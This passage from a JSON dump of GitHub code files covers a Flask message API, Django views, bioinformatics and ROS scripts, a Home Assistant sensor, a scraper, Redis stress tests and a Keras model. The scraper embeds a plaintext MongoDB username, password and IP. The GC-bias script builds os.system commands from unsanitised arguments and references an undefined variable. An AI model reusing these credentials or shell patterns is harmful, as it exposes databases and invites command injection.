dictionary\ndef make_dicts(cursor, row):\n return dict((cursor.description[idx][0], value) for idx, value in enumerate(row))\n\n\n# helper function to generate a response with status code and message\ndef get_response(status_code, message):\n return {\"status_code\": str(status_code), \"message\": str(message)}\n\n\n# get db from flask g namespace\ndef get_db():\n if 'db' not in g:\n g.db = sqlite3.connect(\n current_app.config['DATABASE'],\n detect_types=sqlite3.PARSE_DECLTYPES\n )\n g.db.row_factory = make_dicts\n return g.db\n\n\n# initiate db with\n# $FLASK_APP=post_api.py\n# $flask init\n@app.cli.command('init')\ndef init_db():\n with app.app_context():\n db = get_db()\n with app.open_resource('data.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n\n\n# close db connection\n@app.teardown_appcontext\ndef close_db(e=None):\n if e is not None:\n print(f'Closing db: {e}')\n db = g.pop('db', None)\n if db is not None:\n db.close()\n\n\n# home page\n@app.route('/', methods=['GET'])\ndef home():\n return jsonify(get_response(status_code=200, message=\"Welcome to CSUF messages API.\"))\n\n\n# 404 page\n@app.errorhandler(404)\ndef page_not_found(status_code=404):\n error_json = get_response(status_code=status_code, message=\"Resource not found\")\n return jsonify(error_json), status_code\n\n\n# function to execute a single query at once\ndef query_db(query, args=(), one=False, commit=False):\n # one=True means return single record\n # commit = True for post and delete query (return boolean)\n conn = get_db()\n try:\n rv = conn.execute(query, args).fetchall()\n if commit:\n conn.commit()\n except sqlite3.OperationalError as e:\n print(e)\n return False\n close_db()\n if not commit:\n return (rv[0] if rv else None) if one else rv\n return True\n\n\n# function to execute multiple queries at once (also fn commits the transaction)\ndef transaction_db(query, args, return_=False):\n # return_=True if the transaction needs returns a result\n conn = get_db()\n if len(query) != len(args):\n raise ValueError('arguments dont match queries')\n try:\n rv = []\n conn.execute('BEGIN')\n for i in range(len(query)):\n rv.append(conn.execute(query[i], args[i]).fetchall())\n conn.commit()\n except (sqlite3.OperationalError, sqlite3.ProgrammingError) as e:\n conn.execute('rollback')\n print('Transaction failed. Rolled back')\n print(e)\n return False\n close_db()\n return True if not return_ else rv\n\n### WHAT TO DO ###\n# 1. Send message\n# 2. Delete message\n# 3. Favorite message\n\n@app.route('/send', methods=['POST'])\ndef send():\n params = request.get_json()\n user_from = params.get('user_from')\n user_to = params.get('user_to')\n msg_content = params.get('msg_content')\n msg_flag = params.get('msg_flag')\n\n if not user_from or not user_to:\n return jsonify(get_response(status_code=409, message=\"Sender / Recipient is not provided\")), 409\n\n query1 = 'SELECT username FROM users WHERE username = ?'\n args1 = (user_from,)\n q_sender = query_db(query1, args1)\n\n query2 = \"SELECT username FROM users WHERE username = ?\"\n args2 = (user_to,)\n q_receiver = query_db(query2, args2)\n\n if not q_sender:\n return jsonify(get_response(status_code=404, message=\"Sender not existed\")), 404\n if not q_receiver:\n return jsonify(get_response(status_code=404, message=\"Receiver not existed\")), 404\n\n query = 'INSERT INTO messages (user_from, user_to, msg_content, msg_flag) VALUES ((SELECT user_id FROM users WHERE username=?), (SELECT user_id FROM users WHERE username=?), ?, ?)'\n args = (user_from, user_to, msg_content, msg_flag)\n q = transaction_db(query=[query], args=[args], return_=True)\n\n if not q:\n return page_not_found(404)\n\n return jsonify(get_response(status_code=201, message=\"Message sent\")), 201\n\n@app.route('/delete', methods=['DELETE'])\ndef delete():\n params = request.args\n msg_id = params.get('msg_id')\n if not msg_id:\n return jsonify(get_response(status_code=409, message=\"Message ID is not provided\")), 409\n\n query = 'SELECT msg_id FROM messages WHERE msg_id = ?'\n args = (msg_id,)\n q = query_db(query, args)\n\n if not q:\n return jsonify(get_response(status_code=404, message=\"Message not existed\")), 404\n\n query = 'DELETE FROM favorite WHERE msg_id = ?'\n args = (msg_id,)\n query1 = 'DELETE FROM messages WHERE msg_id = ?'\n\n q = transaction_db([query, query1], [args, args],)\n\n if not q:\n return page_not_found(404)\n\n return jsonify(get_response(status_code=200, message=\"Message deleted\")), 200\n\n@app.route('/favorite', methods=['POST'])\ndef favorite():\n params = request.args\n msg_id = params.get('msg_id')\n if not msg_id:\n return jsonify(get_response(status_code=409, message=\"Message ID is not provided\")), 409\n query = 'SELECT msg_id FROM messages WHERE msg_id = ?'\n args = (msg_id,)\n q = query_db(query, args)\n\n if not q:\n return jsonify(get_response(status_code=404, message=\"Message not existed\")), 404\n\n query2 = 'SELECT msg_id FROM favorite WHERE msg_id = ?'\n args2 = (msg_id,)\n q1 = query_db(query2,args2)\n\n if q1:\n return jsonify(get_response(status_code=404, message=\"Message already favorited\")), 404\n\n query = 'INSERT INTO favorite (msg_ID) VALUES (?)'\n args = (msg_id,)\n q = query_db(query, args, commit=True)\n\n if not q:\n return page_not_found(404)\n\n return jsonify(get_response(status_code=201, message=\"Message favorited\")), 201\n\ndef main():\n app.run()\n\nif __name__ == '__main__':\n main()\n","repo_name":"tpham523/CPSC_449_Project_1","sub_path":"msg_api.py","file_name":"msg_api.py","file_ext":"py","file_size_in_byte":7153,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"11264906311","text":"import time\nimport json\nimport pandas\nfrom django.shortcuts import render, redirect\nfrom django.http import JsonResponse, StreamingHttpResponse\nfrom django.core import serializers\nfrom .models import CaronaData, Asset, SubmitedAssets\nfrom .graph import genarate_bar_graph, asset_graph, excel_data_to_graph\nfrom django_pandas.io import read_frame\nfrom users.decorators import my_login_required\nfrom django.template.loader import render_to_string\nfrom django.db import connection\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom .raw_querys import my_query\nfrom .excel_static import convert_df_to_html\n\n# Create your views here.\n@my_login_required\ndef index(request):\n carona = CaronaData.objects.all()\n # df = read_frame(carona)\n df, html = convert_df_to_html()\n context = {\n # \"data\" : CaronaData.objects.all(),\n # \"graph1\" : genarate_bar_graph(df),\n # \"graph2\" : genarate_bar_graph(df),\n \"graph\": asset_graph(),\n \"assets1\" : Asset.objects.all()[0:10],\n \"assets2\" : Asset.objects.all()[10:20],\n \"html\": html,\n \"excel_graph\": excel_data_to_graph(df),\n }\n return render(request, 'index.html', context)\n\n\n@my_login_required\ndef dynamic_graph(request):\n if request.method == 'POST':\n val = request.POST['graph-options']\n data = CaronaData.objects.all().order_by('-id')[0:50]\n df = read_frame(data)\n context = {\n \"graph\": genarate_bar_graph(df=df, option=val)\n }\n return JsonResponse(context, safe=False)\n\n@my_login_required\ndef dynamic_table(request):\n if request.method == 'POST':\n country = request.POST['country1']\n context = { \"data\" :CaronaData.objects.filter(country__icontains=country) }\n html = render_to_string(\"search_table_data.html\",context)\n return JsonResponse(html, safe=False)\n\n@my_login_required\ndef submit_asset(request, asset=None, timeremaining=None):\n print(timeremaining)\n if request.session.get('user', False):\n user = request.session.get('user')\n sa = SubmitedAssets(userid=user, asset_name=asset, timeremaining=timeremaining)\n sa.save()\n return redirect(index)\n else:\n return redirect('login')\n\n#streaming data\ndef event_stream():\n initial_data = \"\"\n while True:\n result = my_query()\n data = json.dumps(list(result),cls=DjangoJSONEncoder)\n # print(data)\n if not initial_data == data:\n yield \"\\ndata: {}\\n\\n\".format(data) \n initial_data = data\n # print(initial_data)\n time.sleep(1)\n\ndef caron_live_data(request):\n response = StreamingHttpResponse(event_stream())\n response['Content-Type'] = 'text/event-stream'\n # print(response.readable)\n return response\n\n\n\n#streaming data\ndef dash_event_stream():\n initial_data = \"\"\n while True:\n result = Asset.objects.all().values()\n data = json.dumps(list(result),cls=DjangoJSONEncoder)\n # print(data)\n # print(data)\n if not initial_data == data:\n yield \"\\ndata: {}\\n\\n\".format(data) \n initial_data = data\n # print(initial_data)\n time.sleep(1)\n\ndef dashboard_live_data(request):\n response = StreamingHttpResponse(dash_event_stream())\n response['Content-Type'] = 'text/event-stream'\n return response\n\n\ndef asset_graph_view(request):\n if request.method == \"GET\":\n value = request.GET[\"option\"]\n context = {\n \"graph\": asset_graph(value)\n }\n \n return JsonResponse(context, safe=False)\n\ndef excel_data_view(request):\n if request.method == \"GET\":\n value = request.GET[\"option\"]\n final_df, final_df_html = convert_df_to_html(field=value)\n context = {\n \"html\": final_df_html,\n \"graph\":excel_data_to_graph(final_df)\n }\n \n return JsonResponse(context, safe=False)","repo_name":"dorababu067/true-lancer1","sub_path":"app1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11633901585","text":"import argparse\r\nimport os\r\n\r\nif __name__ == \"__main__\":\r\n\r\n parser = argparse.ArgumentParser(\r\n usage=\"%prog -b -d -g \",\r\n description='GC-bias adjustment for cell-free DNA based TSS coverage profile',\r\n epilog = \"Written by Han Bowei (hanbw0120@foxmail.com), 2020\\n\"\r\n )\r\n\r\n parser.add_argument('--bam', '-b', type=str, help='Input bam file', required=True)\r\n parser.add_argument('--bed', '-d', type=str, help='Reference bed file', required=True)\r\n parser.add_argument('--effectiveGenomeSize', '-s', type=int, default=2827437033, help='effectiveGenomeSize for deepTools (default(hg19): 2827437033)')\r\n parser.add_argument('--genome2bit', '-g', type=str, required=True,\r\n help='Genome 2bit file, download from http://hgdownload.cse.ucsc.edu/gbdb/')\r\n parser.add_argument('--fragment_size', '-f', type=int, default=167, help='Fragment size of cfDNA')\r\n parser.add_argument('--threads', '-t', type=int, default=1, help='Number of threads (default: 1)')\r\n parser.add_argument('--mode', '-m', type=str, default=\"SE\", help='Single-end(SE) or Paired-end(PE) (default: SE)')\r\n\r\n args = parser.parse_args()\r\n\r\n\r\n os.system(\"computeGCBias -b %s --effectiveGenomeSize %s -g %s -l %s --GCbiasFrequenciesFile %s.freq.txt -p %s\"\r\n % (args.bam, args.effectiveGenomeSize, args.genome2bit, args.fragment_size, args.bam, args.threads))\r\n os.system(\"python ./correctGCBias_for_bedtools.py -b %s --effectiveGenomeSize %s -g %s --GCbiasFrequenciesFile %s.freq.txt -o %s.gc.bam -p %s\"\r\n % (args.bam, args.effectiveGenomeSize, args.genome2bit, args.bam, args.bam, args.threads))\r\n os.system(\"python ./computeBEDcov.py -b %s.gc.bam -d %s -m %s\" % (args.bam, args.bed, mode))","repo_name":"hanbw0120/AECT","sub_path":"script/run_gc_adj.py","file_name":"run_gc_adj.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"8943148304","text":"# -*- coding:utf-8 -*-\nclass Solution:\n def VerifySquenceOfBST(self, sequence):\n # write code here\n if not sequence or len(sequence) == 0:\n return False\n root = sequence[-1]\n flag = 0\n while sequence[flag] < root:\n flag += 1\n for i in range(flag, len(sequence)-1):\n if sequence[i] < root:\n return False\n left = True\n right = True\n if flag > 0:\n left = self.VerifySquenceOfBST(sequence[:flag])\n if flag < len(sequence)-1:\n right = self.VerifySquenceOfBST(sequence[flag:len(sequence)-1])\n return left and right\n\n\nif __name__ == \"__main__\":\n s = Solution()\n print(s.VerifySquenceOfBST([1, 4, 7, 6, 3, 13, 14, 10, 8]))\n\n\n","repo_name":"zhengxiang1994/JIANZHI-offer","sub_path":"test1/demo23.py","file_name":"demo23.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"37559882180","text":"\"\"\"Support for Litter-Robot sensors.\"\"\"\nfrom typing import Optional\n\nfrom pylitterbot.robot import Robot\n\nfrom homeassistant.const import DEVICE_CLASS_TIMESTAMP, PERCENTAGE\nfrom homeassistant.helpers.entity import Entity\n\nfrom .const import DOMAIN\nfrom .hub import LitterRobotEntity, LitterRobotHub\n\n\ndef icon_for_gauge_level(gauge_level: Optional[int] = None, offset: int = 0) -> str:\n \"\"\"Return a gauge icon valid identifier.\"\"\"\n if gauge_level is None or gauge_level <= 0 + offset:\n return \"mdi:gauge-empty\"\n if gauge_level > 70 + offset:\n return \"mdi:gauge-full\"\n if gauge_level > 30 + offset:\n return \"mdi:gauge\"\n return \"mdi:gauge-low\"\n\n\nclass LitterRobotPropertySensor(LitterRobotEntity, Entity):\n \"\"\"Litter-Robot property sensors.\"\"\"\n\n def __init__(\n self, robot: Robot, entity_type: str, hub: LitterRobotHub, sensor_attribute: str\n ):\n \"\"\"Pass coordinator to CoordinatorEntity.\"\"\"\n super().__init__(robot, entity_type, hub)\n self.sensor_attribute = sensor_attribute\n\n @property\n def state(self):\n \"\"\"Return the state.\"\"\"\n return getattr(self.robot, self.sensor_attribute)\n\n\nclass LitterRobotWasteSensor(LitterRobotPropertySensor, Entity):\n \"\"\"Litter-Robot sensors.\"\"\"\n\n @property\n def unit_of_measurement(self):\n \"\"\"Return unit of measurement.\"\"\"\n return PERCENTAGE\n\n @property\n def icon(self):\n \"\"\"Return the icon to use in the frontend, if any.\"\"\"\n return icon_for_gauge_level(self.state, 10)\n\n\nclass LitterRobotSleepTimeSensor(LitterRobotPropertySensor, Entity):\n \"\"\"Litter-Robot sleep time sensors.\"\"\"\n\n @property\n def state(self):\n \"\"\"Return the state.\"\"\"\n if self.robot.sleep_mode_active:\n return super().state.isoformat()\n return None\n\n @property\n def device_class(self):\n \"\"\"Return the device class, if any.\"\"\"\n return DEVICE_CLASS_TIMESTAMP\n\n\nROBOT_SENSORS = [\n (LitterRobotWasteSensor, \"Waste Drawer\", \"waste_drawer_gauge\"),\n (LitterRobotSleepTimeSensor, \"Sleep Mode Start Time\", \"sleep_mode_start_time\"),\n (LitterRobotSleepTimeSensor, \"Sleep Mode End Time\", \"sleep_mode_end_time\"),\n]\n\n\nasync def async_setup_entry(hass, config_entry, async_add_entities):\n \"\"\"Set up Litter-Robot sensors using config entry.\"\"\"\n hub = hass.data[DOMAIN][config_entry.entry_id]\n\n entities = []\n for robot in hub.account.robots:\n for (sensor_class, entity_type, sensor_attribute) in ROBOT_SENSORS:\n entities.append(sensor_class(robot, entity_type, hub, sensor_attribute))\n\n if entities:\n async_add_entities(entities, True)\n","repo_name":"fpetillo/home-assistant","sub_path":"homeassistant/components/litterrobot/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"75226365284","text":"#!/usr/bin/env python3\nimport rospy\nfrom odometry_hw.msg import Pose2D\nimport matplotlib\n\nclass OdomGraph:\n def __init__(self):\n self.x_list = list()\n self.y_list = list()\n \n def pose_cb(self,msg):\n self.x_list.append(msg.x)\n self.y_list.append(msg.y)\n\n\nif __name__ == '__main__':\n try:\n rospy.init_node('odom_graph', anonymous=True)\n output_to_file = False\n if rospy.has_param('/output_to_file'):\n rospy.logwarn(\"Has output to file\")\n if rospy.get_param('/output_to_file') == True or rospy.get_param('/output_to_file') == \"true\":\n output_to_file=True\n if rospy.has_param('/only_output_to_file'):\n rospy.logwarn(\"Has only output to file\")\n if rospy.get_param('/only_output_to_file') == True or rospy.get_param('/only_output_to_file') == \"true\":\n rospy.logwarn(\"only outputting to PDF!\")\n output_to_file=True\n matplotlib.use(\"pdf\")\n folder = \".\"\n if rospy.has_param('output_folder'):\n folder = rospy.get_param('output_folder')\n \n import matplotlib.pyplot as plt\n og = OdomGraph()\n rospy.Subscriber(\"pose\", Pose2D, og.pose_cb)\n rate = rospy.Rate(10) # 10hz\n while not rospy.is_shutdown(): \n plt.plot(og.x_list, og.y_list,'ro-',)\n plt.axis([-0.5,5,-0.5,5])\n plt.xlabel('x (m)')\n plt.ylabel('y (m)')\n plt.title('Vehicle Odometry')\n if output_to_file:\n plt.savefig(folder + \"/output_plot.png\")\n plt.pause(0.05) \n rate.sleep()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"UML-EECE-5560/eece5560-base","sub_path":"eece5560/packages/odometry_hw/src/odom_graph.py","file_name":"odom_graph.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"26748196426","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\n\nclient = MongoClient(\"mongodb://yoonchaiyoung:9452@18.222.215.81\", 27017)\ndb = client.music_top100\nprint(db)\n# db 잘 작동하는 지 확인\n\ndef scrap_vibe_top100():\n URL = \"https://music.bugs.co.kr/chart\"\n headers = {\n 'User-Agent': \"Mozilla/5.0\"\n }\n\n data = requests.get(URL, headers=headers)\n # print(\"data는~~~\", data)\n # print(\"data.text는~~~\", data.text)\n # 데이터 잘 들어오는 지 확인완료\n\n soup = BeautifulSoup(data.text, 'html.parser')\n music_lst = soup.select(\"#CHARTrealtime > table > tbody > tr\")\n # print(music_lst)\n\n # 이제 밑의 데이터들을 하나씩 뽑아서 {} 딕서너리 형태 파일에 넣기\n # 데이터 : 순위, 제목, 앨범아트, 아티스트 목록, 앨범명\n\n for tr in music_lst:\n rank = tr.select_one(\"td > div > strong\").text\n # print(rank)\n title = tr.select_one(\"th > p > a\").text\n # print(title)\n album_art = tr.select_one(\"td > a > img\").get('src')\n # print(album_art)\n artist = tr.select_one(\"td > .artist > a\").text\n # print(artist)\n album_name = tr.select_one(\"td > .album\").text\n # print(album_name)\n\n doc = {\n \"rank\": rank,\n \"title\": title,\n \"album_art\": album_art,\n \"artist\": artist,\n \"album_name\": album_name\n }\n # print(doc)\n\n db.music.insert_one(doc)\n\nif __name__ == \"__main__\":\n scrap_vibe_top100()","repo_name":"yoonchaiyoung/music_top100_backend","sub_path":"music_scraper.py","file_name":"music_scraper.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70023163045","text":"\"\"\"another new field\n\nRevision ID: c17e4c1101de\nRevises: b7834f420599\nCreate Date: 2018-11-24 21:57:07.208365\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c17e4c1101de'\ndown_revision = 'b7834f420599'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('scores_fn', sa.String(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('user', 'scores_fn')\n # ### end Alembic commands ###\n","repo_name":"cgutwein/grocery-and-meal-assistant","sub_path":"flask/migrations/versions/c17e4c1101de_another_new_field.py","file_name":"c17e4c1101de_another_new_field.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70996358884","text":"from copy import deepcopy\n\nimport extractor\nfrom mutalyzer_mutator import mutate\nfrom mutalyzer_mutator.util import reverse_complement\nfrom mutalyzer_retriever.reference import get_reference_mol_type\nfrom mutalyzer_retriever.retriever import extract_feature_model\n\nimport mutalyzer.errors as errors\n\nfrom .converter import de_to_hgvs\nfrom .converter.extras import (\n convert_reference_model,\n convert_to_exons,\n get_gene_locations,\n)\nfrom .converter.to_hgvs_coordinates import to_hgvs_locations\nfrom .description import Description\nfrom .description_model import model_to_string\nfrom .reference import (\n get_coordinate_system_from_reference,\n get_coordinate_system_from_selector_id,\n get_internal_selector_model,\n get_only_selector_id,\n retrieve_reference,\n)\nfrom .util import slice_seq\n\n\ndef _get_description(de_hgvs_internal_indexing_variants, r_model, selector_id=None):\n reference = {\"id\": r_model[\"annotations\"][\"id\"]}\n if selector_id:\n reference[\"selector\"] = {\"id\": selector_id}\n c_s = get_coordinate_system_from_selector_id(r_model, selector_id)\n else:\n c_s = get_coordinate_system_from_reference(r_model)\n if c_s in [\"c\", \"n\"]:\n selector_id = r_model[\"annotations\"][\"id\"]\n\n de_hgvs_model = to_hgvs_locations(\n {\n \"reference\": reference,\n \"coordinate_system\": \"i\",\n \"variants\": de_hgvs_internal_indexing_variants,\n },\n {\"reference\": r_model, r_model[\"annotations\"][\"id\"]: r_model},\n c_s,\n selector_id,\n True,\n )\n return model_to_string(de_hgvs_model)\n\n\ndef _extract_hgvs_internal_model(obs_seq, ref_seq):\n de_variants = extractor.describe_dna(ref_seq, obs_seq)\n\n return de_to_hgvs(\n de_variants,\n {\"reference\": ref_seq, \"observed\": obs_seq},\n )\n\n\ndef _filter(variants, ref_seq1, ref_seq2):\n raw_de_variants = extractor.describe_dna(ref_seq1, ref_seq2)\n seq_variants = de_to_hgvs(\n raw_de_variants,\n {\"reference\": ref_seq1, \"observed\": ref_seq2},\n )\n return [v for v in variants if v not in seq_variants]\n\n\ndef map_description(\n description,\n reference_id,\n selector_id=None,\n slice_to=None,\n filter=False,\n len_max=100000,\n diff_max=1000,\n):\n # Get the observed sequence\n d = Description(description)\n d.normalize()\n if d.errors:\n return {\"errors\": d.errors, \"source\": \"input\"}\n if not d.references and not d.references.get(\"observed\"):\n return {\n \"errors\": [{\"details\": \"No observed sequence or other error occured.\"}],\n \"source\": \"input\",\n }\n obs_seq = d.references[\"observed\"][\"sequence\"][\"seq\"]\n\n to_r_model = retrieve_reference(reference_id, selector_id)[0]\n if to_r_model is None:\n return {\n \"errors\": [errors.reference_not_retrieved(reference_id, [])],\n \"source\": \"input\",\n }\n\n ref_seq_from = d.references[\"reference\"][\"sequence\"][\"seq\"]\n\n if d.only_equals() or d.no_operation():\n variants = []\n else:\n variants = d.delins_model[\"variants\"]\n\n if slice_to == \"transcript\":\n selector_model = d.get_selector_model()\n if selector_model:\n converted_variants, skipped_variants = convert_to_exons(\n variants,\n selector_model[\"exon\"],\n d.get_sequences(),\n )\n if skipped_variants:\n errs = []\n for v in skipped_variants:\n errs.append(\n errors.location_slice(\n d.corrected_model[\"variants\"][v][\"location\"]\n )\n )\n return {\"errors\": errs, \"source\": \"input\"}\n from_r_model = convert_reference_model(\n d.references[\"reference\"], d.get_selector_id(), slice_to\n )\n ref_seq_from = from_r_model[\"sequence\"][\"seq\"]\n obs_seq = mutate({\"reference\": ref_seq_from}, converted_variants)\n if (\n selector_id is None\n and get_coordinate_system_from_reference(to_r_model) == \"c\"\n and get_only_selector_id(to_r_model) == reference_id\n ):\n selector_id = reference_id\n elif slice_to == \"gene\":\n gene = extract_feature_model(\n d.references[\"reference\"][\"annotations\"], d.get_selector_id()\n )[0]\n if gene:\n new_r_model = {\"annotations\": deepcopy(gene)}\n g_l = get_gene_locations(new_r_model)\n ref_seq_from = slice_seq(\n d.references[\"reference\"][\"sequence\"][\"seq\"], [g_l]\n )\n converted_variants, skipped_variants = convert_to_exons(\n variants, [g_l], {\"reference\": ref_seq_from}\n )\n if skipped_variants:\n errs = []\n for v in skipped_variants:\n errs.append(\n errors.location_slice(\n d.corrected_model[\"variants\"][v][\"location\"]\n )\n )\n return {\"errors\": errs, \"source\": \"input\"}\n obs_seq = mutate({\"reference\": ref_seq_from}, converted_variants)\n elif slice_to is not None:\n return {\"errors\": [errors.slice_option(slice_to)], \"source\": \"input\"}\n\n if selector_id:\n s_model = get_internal_selector_model(\n to_r_model[\"annotations\"], selector_id, True\n )\n if s_model is None:\n return {\n \"errors\": [errors.no_selector_found(reference_id, selector_id, [])],\n \"source\": \"input\",\n }\n if d.get_selector_model() and (\n s_model[\"inverted\"] ^ d.get_selector_model()[\"inverted\"]\n ):\n obs_seq = reverse_complement(obs_seq)\n ref_seq_from = reverse_complement(ref_seq_from)\n if slice_to:\n to_r_model = convert_reference_model(to_r_model, selector_id, slice_to)\n\n ref_seq_to = to_r_model[\"sequence\"][\"seq\"]\n\n if len(ref_seq_to) > len_max:\n return {\n \"errors\": [errors.sequence_length(ref_seq_to, len_max)],\n \"source\": \"input\",\n }\n if len(obs_seq) > len_max:\n return {\"errors\": [errors.sequence_length(obs_seq, len_max)], \"source\": \"input\"}\n\n if (\n len(ref_seq_to) < len(obs_seq)\n and abs(len(ref_seq_to) - len(obs_seq)) > diff_max\n ):\n return {\n \"errors\": [\n errors.lengths_difference(abs(len(ref_seq_to) - len(obs_seq)), diff_max)\n ],\n \"source\": \"input\",\n }\n\n # Get the description extractor hgvs internal indexing variants\n variants = _extract_hgvs_internal_model(obs_seq, ref_seq_to)\n\n if filter:\n raw_de_variants = extractor.describe_dna(ref_seq_to, ref_seq_from)\n seq_variants = de_to_hgvs(\n raw_de_variants,\n {\"reference\": ref_seq_to, \"observed\": ref_seq_from},\n )\n if not (len(seq_variants) == 1 and seq_variants[0][\"type\"] == \"equal\") and [\n v for v in seq_variants if v not in variants\n ]:\n return {\n \"errors\": [\n {\"code\": \"EMAPFILTER\", \"details\": \"Unsuccessful filtering.\"}\n ],\n \"source\": \"input\",\n }\n variants = [v for v in variants if v not in seq_variants]\n\n mapped_description = _get_description(variants, to_r_model, selector_id)\n m_d = Description(mapped_description)\n m_d.to_delins()\n if m_d.errors:\n return {\"errors\": m_d.errors, \"source\": \"output\"}\n else:\n return {\"mapped_description\": mapped_description}\n","repo_name":"mutalyzer/mutalyzer","sub_path":"mutalyzer/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":7706,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"52"} +{"seq_id":"34900706891","text":"import threading \nimport redis\nimport uuid\nfrom package.module import *\n\n# connect redis\nr = redis.Redis(host='hank-001.bwwxt6.0001.use1.cache.amazonaws.com', port=6379, charset=\"utf-8\",decode_responses=True)\nr1 = redis.Redis(host='hank-003.bwwxt6.0001.use1.cache.amazonaws.com', port=6379, charset=\"utf-8\",decode_responses=True) \n\n# initial variable -- setting time for version and from_type\nversion_time = transfer(\"2019-8-8 6:30\")\nfrom_type_time = transfer(\"2019-8-8 6:30\")\n\n\ndef stresser(): \n global all_user \n index = 0 # \n last_time = 0 \n while True : \n # create token\n TOKEN = str(uuid.uuid4()) \n SCORE = 0\n\n user_response = { \"token\" : \"\",\"version\" : \"\",\"from_type\" : \"\" }\n\n if (time.time() - last_time) > 5:\n last_time = time.time()\n all_user = get_user(r1)\n\n # create User\n if(len(all_user)>0):\n user = User(username=\"\", endpoint=\"\")\n user.setUsername(all_user, index)\n user.setEndpoint(r1) \n \n # get header \n user_response = get_header(user_response,user.endpoint,TOKEN)\n \n # check header\n SCORE += check_header(0,TOKEN,user_response[\"token\"],0)\n SCORE += check_header(1,None,user_response[\"version\"],version_time)\n SCORE += check_header(2,None,user_response[\"from_type\"],from_type_time)\n user.score = SCORE\n user.setError(user_response,r)\n user.setScore(r)\n \n print(user.username)\n print(user.endpoint)\n print(user_response)\n print(user.error_ms)\n print(user.score)\n print(\"------------------------------------------------\")\n else:\n print(\"no user in Redis\")\n \n # loop user\n index+=1\n if(index>=len(all_user)):\n index=0\n\n\ndef _threads_(): \n c= threading.Thread(target=stresser) \n d= threading.Thread(target=stresser)\n a= threading.Thread(target=stresser)\n e= threading.Thread(target=stresser)\n z= threading.Thread(target=stresser)\n c.start()\n c.join()\n d.start()\n d.join()\n a.start()\n a.join()\n e.start()\n e.join()\n z.start()\n z.join()\n\ndef main():\n\ttime.sleep(1)\n\t_threads_() \n\nmain()\n","repo_name":"Hank-Kuo/client_server_flow_test","sub_path":"client/client_multi.py","file_name":"client_multi.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73716954726","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 18 14:19:48 2022\n\n@author: Baccouche, Asma.\n\"\"\"\nimport warnings\nimport pdb\n\nwith warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\nimport numpy as np\nimport tensorflow as tf\nfrom keras.models import Model\nfrom keras.layers import Input, concatenate, Conv2D, Add, MaxPooling2D, Activation, Dense, Reshape, GlobalAveragePooling2D, Multiply, Conv2DTranspose, BatchNormalization\n# from keras.optimizers import Adam\nfrom keras.optimizers import adam_v2\nfrom keras import backend as K\nK.set_image_data_format('channels_last') \n\nnp.random.seed(10101)\n\nimg_rows = 256\nimg_cols = 256\nsmooth = 1.\n\ndef dice_coef(y_true, y_pred):\n y_true_f = K.flatten(y_true)\n y_pred_f = K.flatten(y_pred)\n intersection = K.sum(y_true_f * y_pred_f)\n return (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth)\n\ndef iou_coef(y_true, y_pred, smooth=1):\n intersection = K.sum(K.abs(y_true * y_pred), axis=[1,2,3])\n union = K.sum(y_true,[1,2,3])+K.sum(y_pred,[1,2,3])-intersection\n iou = K.mean((intersection + smooth) / (union + smooth), axis=0)\n return iou\n\ndef dice_coef_loss(y_true, y_pred):\n return -dice_coef(y_true, y_pred)\n\ndef focal_loss(y_true, y_pred):\n y_true_f = K.flatten(y_true)\n y_pred_f = K.flatten(y_pred)\n BCE = K.binary_crossentropy(y_true_f, y_pred_f)\n BCE_EXP = K.exp(-BCE)\n focal_loss = K.mean(0.8 * K.pow((1-BCE_EXP), 2.) * BCE)\n return focal_loss\n\ndef loss(y_true, y_pred):\n return -(0.4*dice_coef(y_true, y_pred)+0.6*iou_coef(y_true, y_pred))\n\ndef aspp_block(x, num_filters, rate_scale=1):\n x1 = Conv2D(num_filters, (3, 3), dilation_rate=(6 * rate_scale, 6 * rate_scale), padding=\"same\")(x)\n x1 = BatchNormalization()(x1)\n\n x2 = Conv2D(num_filters, (3, 3), dilation_rate=(12 * rate_scale, 12 * rate_scale), padding=\"same\")(x)\n x2 = BatchNormalization()(x2)\n\n x3 = Conv2D(num_filters, (3, 3), dilation_rate=(18 * rate_scale, 18 * rate_scale), padding=\"same\")(x)\n x3 = BatchNormalization()(x3)\n\n x4 = Conv2D(num_filters, (3, 3), padding=\"same\")(x)\n x4 = BatchNormalization()(x4)\n\n y = Add()([x1, x2, x3, x4])\n y = Conv2D(num_filters, (1, 